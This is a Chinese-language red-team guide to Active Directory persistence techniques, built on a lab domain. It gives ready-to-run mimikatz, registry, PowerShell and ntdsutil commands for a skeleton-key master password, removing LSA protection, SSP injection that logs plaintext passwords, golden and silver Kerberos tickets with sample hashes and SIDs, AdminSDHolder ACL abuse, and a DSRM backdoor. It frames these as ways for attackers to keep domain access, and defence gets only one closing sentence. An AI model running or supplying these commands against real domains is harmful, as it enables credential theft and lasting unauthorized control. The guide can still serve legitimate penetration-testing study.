域内持久化总结
字数 1848 2025-08-29 08:31:53
域内持久化技术全面指南
前言
本文总结了多种常见的域内持久化技术,包括万能密码、LSA绕过、SSP注入、黄金票据、白银票据、AdminSDHolder滥用、SID History后门和DSRM后门等技术。这些技术可以帮助攻击者在获取域控权限后维持长期访问权限。
实验环境
- 域名: redteam
- 域控: 192.168.1.132 主机名:DC 版本:winserver2019 x64
- 有域管权限的域内机器:192.168.1.133 主机名:IT 版本:winserver2012 x64
万能密码(Skeleton-Key)
使用前提
- 在64位域控服务器上使用
- 只是让所有域用户使用同一个万能密码进行登录
- 当前用户仍可以用原密码登录
- 重启后失效
实现原理
在DC上以域控权限运行skeleton,将Kerberos认证加密降到RC4_HMAC_MD5,并以内存更新的方式给lsass.exe进程patch一个主密码mimikatz。
实验步骤
- 在域控以管理员权限运行mimikatz:
privilege ::debug misc ::skeleton - 查看现有连接并注销:
net use net use \\192.168.1.132\ipc$ /del /y - 使用域管理员账号和Skeleton Key连接域控:
net use \\DC\c$ "mimikatz" /user:redteam\administrator
注意事项
- 只能使用域控主机名连接,不能使用IP直接连接
- 普通域用户无权限访问域控内容
- 重启域控后万能密码失效
LSA绕过
LSA保护机制
Windows 8.1开始为LSA提供额外保护,要求所有加载到LSA的插件都必须使用Microsoft签名。
开启LSA保护
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f
绕过方法
使用mimikatz的mimidrv.sys驱动程序:
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
SSP持久化
SSP简介
SSP(Security Support Provider)是Windows身份认证机制的提供者,如NTLM、Kerberos等。
内存注入方式
privilege::debug
misc::memssp
- 注销用户重新登录后,在C:\Windows\System32\mimilsa.log获取明文密码
- 重启后失效
加载mimilib.dll方式
- 将mimilib.dll复制到C:\Windows\System32\
- 修改注册表:
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "mimilib.dll" /t REG_MULTI_SZ - 重启后明文密码保存在C:\Windows\System32\Kiwissp.log
两种方式差异
- 内存注入:必须重新登录,重启后失效
- mimilib.dll:必须重启,永久有效
黄金票据(Golden Ticket)
制作条件
- 域名称
- 域的SID值
- 域的KRBTGT账户密码HASH
- 伪造用户名(可任意)
利用步骤
- 获取krbtgt的HASH:
lsadump::dcsync /redteam.local /user:krbtgt - 生成黄金票据(去掉SID最后一个-后的值):
kerberos::golden /admin:administrator /domain:redteam.local /sid:S-1-5-21-3458133008-801623762-2841880732 /krbtgt:c1fae0c27a40526e4ade2065d9646427 /ticket:golden.kiribi - 导入内存:
kerberos::purge kerberos::ptt golden.kiribi kerberos::list
注意事项
- 票据默认20分钟内有效,过期后需重新导入
- 可伪造任意用户(即使不存在)
- krbtgt的NTLM hash通常不会轻易改变
白银票据(Silver Ticket)
制作条件
- 域名称
- 域的SID值
- 域的服务账户密码HASH(非krbtgt)
- 伪造用户名(可任意)
利用步骤
- 获取服务账户(如DC)的HASH:
privilege::debug sekurlsa::logonpasswords - 生成白银票据:
kerberos::golden /domain:redteam.local /sid:S-1-5-21-3458133008-801623762-2841880732 /target:DC.redteam.local /service:cifs /rc4:d0bcb64fc54fedf6adc2a53d78dcdec6 /user:testone /ptt
黄金票据与白银票据区别
- 访问权限:
- 黄金票据:伪造TGT,可获取任何Kerberos服务权限
- 白银票据:伪造TGS,只能访问指定服务
- 加密方式:
- 黄金票据:由krbtgt的Hash加密
- 白银票据:由服务端密码的Hash加密
- 认证流程:
- 黄金票据:需要访问域控(KDC)
- 白银票据:可直接跳过KDC访问服务器
AdminSDHolder滥用
原理
AdminSDHolder是受保护AD账户和组的模板,修改其ACL可影响所有受保护组。
利用步骤
- 添加用户权限:
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName IT -Verbose -Rights All - 修改生效时间(默认60分钟):
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60 - 验证权限:
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{ $_.IdentityReference -match 'IT' } - 添加域管权限:
net group "domain admins" IT /add /domain
SID History后门
SID介绍
每个用户账号有唯一SID,格式如:S-1-5-21-310440588-250036847-580389505-500
- S:表示SID
- 1:版本号
- 5:颁发机构(NT)
- 21-...:域标识
- 500:相对标识符(RID)
常见RID
- 500:管理员
- 519:EA
- 501:Guest
利用方法
(注:在winserver2019 17763域控测试失败)
DSRM后门
原理
DSRM(目录服务恢复模式)是域控制器的安全模式启动选项,每个DC有一个本地管理员账户。
利用步骤
- 同步DSRM密码:
ntdsutil SET DSRM PASSWORD SYNC FROM DOMAIN ACCOUNT domainusername - 修改注册表允许网络登录:
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD - 使用mimikatz进行PTH攻击
总结
本文详细介绍了多种域内持久化技术,攻击者可根据不同环境选择合适的技术组合使用。防御方应定期检查域控配置、监控异常活动并及时更新补丁。